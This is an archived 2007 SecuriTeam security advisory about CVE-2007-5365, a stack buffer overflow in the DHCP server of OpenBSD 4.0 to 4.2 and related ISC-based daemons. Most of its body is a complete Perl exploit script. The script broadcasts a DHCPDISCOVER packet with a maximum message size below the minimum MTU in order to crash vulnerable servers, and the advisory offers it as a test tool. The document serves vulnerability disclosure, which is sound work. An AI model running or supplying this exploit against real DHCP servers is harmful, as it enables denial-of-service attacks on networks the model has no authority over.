

[EXPL] Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-11/msg00012.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 4 Nov 2007 15:53:50 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server
(Exploit)

SUMMARY

Stack-based buffer overflow in the `cons_options` function in `options.c` in `dhcpcd` in OpenBSD 4.0 through 4.2, and some other `dhcpcd` implementations based on ISC `dhcpcd-2`, allows remote attackers to execute arbitrary code or cause a denial of service (daemon crash) via a DHCP request specifying a maximum message size smaller than the minimum IP MTU. The following exploit code can be used to test your DHCP server for the mentioned MMS issue (maximum message size).

DETAILS

```
Exploit:
#!/usr/bin/perl
# DoS Exploit for DHCPd bug (CVE-2007-5365)
# By Roman Medina-Heigl Hernandez
# a.k.a. RoMaNSoFt <roman@xxxxxxxxxxxxxx>
# [27.Oct.2007]
# Tested: Ubuntu 6.06 LTS
```

[EXPL] Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server (Exploit)

```
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;

use POSIX qw(setsid strftime);
use Getopt::Long;

### Default config
$mms = 280;

GetOptions ('mms=i' => \$mms);

# sample logger
sub logger{
my $str = shift;
print STDOUT strftime "[%d/%b/%Y:%H:%M:%S] ", localtime;
print STDOUT "$str\n";
}

print ("DHCPd DoS exploit (CVE-2007-5365) - RoMaNSoFt, 2007\n---\n");

logger("Opening socket");
$handle = IO::Socket::INET->new(Proto => 'udp',
Broadcast => 1,
PeerPort => '67',
## Hacked to work as non-root user :)
# LocalPort => '68',
PeerAddr => '255.255.255.255')
|| die "Socket creation error: $@\n"; # yes, it uses $@ here

# create DHCP Packet DISCOVER
$discover = Net::DHCP::Packet->new(
Xid => 0x12345678,
Flags => 0x8000, # ask for broadcast
answer
DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
DHO_VENDOR_CLASS_IDENTIFIER() => 'rs-labs.com',
DHO_DHCP_MAX_MESSAGE_SIZE() => $mms,
);

logger("Sending DISCOVER");
logger($discover->toString());
$handle->send($discover->serialize())
or die "Error sending:$!\n";
logger("Done");

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5365>
CVE-2007-5365
```

[EXPL] Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server (Exploit)

ADDITIONAL INFORMATION

The information has been provided by <<mailto:roman@xxxxxxxxxxx>>
RoMaNSoFt.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.